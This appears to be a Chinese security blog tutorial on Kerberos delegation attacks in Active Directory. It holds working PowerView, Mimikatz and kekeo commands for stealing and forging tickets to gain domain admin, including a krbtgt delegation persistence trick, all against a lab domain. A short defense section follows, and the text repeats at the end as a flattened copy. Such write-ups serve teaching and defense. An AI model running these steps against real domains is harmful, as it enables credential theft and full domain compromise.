Kerberos之域内委派攻击
字数 1445 2025-08-25 22:58:40

Kerberos域内委派攻击详解

什么是委派

委派是指在一个域中,用户A使用Kerberos身份验证访问服务B,服务B再使用A的身份去访问服务C的过程。委派主要分为两种类型:

非约束委派(Unconstrained delegation)

  • 用户将TGT(票据授予票据)发送给委派对象Service1
  • Service1可以使用该TGT访问域内任意其他服务
  • 实现流程:
    1. 用户请求可转发TGT(TGT1)
    2. KDC返回TGT1
    3. 用户使用TGT1请求转发TGT(TGT2)
    4. KDC返回TGT2
    5. 用户申请访问Service1的服务票据(ST)
    6. TGS返回ST
    7. 用户发送请求至Service1,包含TGT1、ST、TGT2和TGT2的SessionKey
    8. Service1使用TGT2请求访问Service2的票据
    9. KDC返回Service2的票据
    10. Service1以用户名义访问Service2

约束委派(Constrained delegation)

  • 微软在Windows 2003中引入的更安全机制
  • 对发送给Service1的认证信息做了限制,不允许Service1代表用户使用TGT访问其他服务
  • 使用S4U2Self和S4U2Proxy协议扩展
    • S4U2Self:允许服务以用户名义获取自身服务的服务票据
    • S4U2Proxy:允许服务以用户名义获取其他指定服务的服务票据

发现域中委派的计算机和用户

使用PowerView工具

PowerView有两个版本:

  • dev分支:https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
  • master分支:https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

查询非约束委派

  1. 查询域中所有非约束委派用户:

    Get-NetUser -Unconstrained -Domain de1ay.com
    
  2. 查询域中所有非约束委派计算机:

    Get-NetComputer -Unconstrained -Domain de1ay.com
    

查询约束委派

  1. 查询域中所有约束委派用户:

    Get-DomainUser -TrustedToAuth -domain de1ay.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl
    
  2. 查询域中配置约束委派的主机:

    Get-DomainComputer -TrustedToAuth -Domain de1ay.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize
    

域委派攻击利用

非约束委派攻击

攻击步骤:

  1. 将账户设置为服务账号:

    setspn -U -A variant/golden ghtwf01
    

    验证设置:

    setspn -l ghtwf01
    
  2. 将账户设置为非约束委派

  3. 诱导域管理员登录该服务账号所在主机(如通过WinRM远程连接)

  4. 使用Mimikatz导出缓存的TGT:

    sekurlsa::tickets /export
    
  5. 使用kerberos::ptt导入TGT:

    kerberos::ptt [导出的TGT文件]
    
  6. 现在可以使用域管理员身份访问域控

约束委派攻击

攻击步骤:

  1. 确认目标账户已配置约束委派

  2. 使用kekeo请求TGT:

    tgt::ask /user:ghtwf01 /domain:de1ay.com /password:1qaz@WSX /ticket:ghtwf01.kirbi
    
  3. 使用获取的TGT请求服务票据:

    tgs::s4u /tgt:TGT_ghtwf01@DE1AY.COM_krbtgt~de1ay.com@DE1AY.COM.kirbi /user:Administrator@de1ay.com /service:cifs/DC.de1ay.com
    
  4. 导入ST票据:

    kerberos::ptt [导出的ST文件]
    
  5. 现在可以访问目标服务

利用约束委派打造变种黄金票据

  1. 使用ActiveDirectory模块添加krbtgt访问权限:

    Import-Module ActiveDirectory
    $user = Get-ADUser ghtwf01
    Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/de1ay.com") }
    
  2. 获取ghtwf01的TGT:

    tgt::ask /user:ghtwf01 /domain:de1ay.com /password:1qaz@WSX /ticket:ghtwf01.kirbi
    
  3. 获取Administrator的TGT:

    tgs::s4u /tgt:TGT_ghtwf01@DE1AY.COM_krbtgt~de1ay.com@DE1AY.COM.kirbi /user:Administrator@de1ay.com /service:krbtgt/de1ay.com
    
  4. 导入票据后即可获得域管理员权限

防御方法

  1. 高权限用户设置不能被委派
  2. 使用受保护的用户组Protected Users(Windows Server 2012及以上版本)

参考链接

  1. https://xz.aliyun.com/t/2931
  2. https://paper.seebug.org/620/
  3. https://xz.aliyun.com/t/7217
  4. https://www.anquanke.com/post/id/173477
  5. https://www.freebuf.com/articles/system/198381.html
Kerberos域内委派攻击详解 什么是委派 委派是指在一个域中,用户A使用Kerberos身份验证访问服务B,服务B再使用A的身份去访问服务C的过程。委派主要分为两种类型: 非约束委派(Unconstrained delegation) 用户将TGT(票据授予票据)发送给委派对象Service1 Service1可以使用该TGT访问域内任意其他服务 实现流程: 用户请求可转发TGT(TGT1) KDC返回TGT1 用户使用TGT1请求转发TGT(TGT2) KDC返回TGT2 用户申请访问Service1的服务票据(ST) TGS返回ST 用户发送请求至Service1,包含TGT1、ST、TGT2和TGT2的SessionKey Service1使用TGT2请求访问Service2的票据 KDC返回Service2的票据 Service1以用户名义访问Service2 约束委派(Constrained delegation) 微软在Windows 2003中引入的更安全机制 对发送给Service1的认证信息做了限制,不允许Service1代表用户使用TGT访问其他服务 使用S4U2Self和S4U2Proxy协议扩展 S4U2Self:允许服务以用户名义获取自身服务的服务票据 S4U2Proxy:允许服务以用户名义获取其他指定服务的服务票据 发现域中委派的计算机和用户 使用PowerView工具 PowerView有两个版本: dev分支:https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1 master分支:https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1 查询非约束委派 查询域中所有非约束委派用户: 查询域中所有非约束委派计算机: 查询约束委派 查询域中所有约束委派用户: 查询域中配置约束委派的主机: 域委派攻击利用 非约束委派攻击 攻击步骤: 将账户设置为服务账号: 验证设置: 将账户设置为非约束委派 诱导域管理员登录该服务账号所在主机(如通过WinRM远程连接) 使用Mimikatz导出缓存的TGT: 使用kerberos::ptt导入TGT: 现在可以使用域管理员身份访问域控 约束委派攻击 攻击步骤: 确认目标账户已配置约束委派 使用kekeo请求TGT: 使用获取的TGT请求服务票据: 导入ST票据: 现在可以访问目标服务 利用约束委派打造变种黄金票据 使用ActiveDirectory模块添加krbtgt访问权限: 获取ghtwf01的TGT: 获取Administrator的TGT: 导入票据后即可获得域管理员权限 防御方法 高权限用户设置不能被委派 使用受保护的用户组Protected Users(Windows Server 2012及以上版本) 参考链接 https://xz.aliyun.com/t/2931 https://paper.seebug.org/620/ https://xz.aliyun.com/t/7217 https://www.anquanke.com/post/id/173477 https://www.freebuf.com/articles/system/198381.html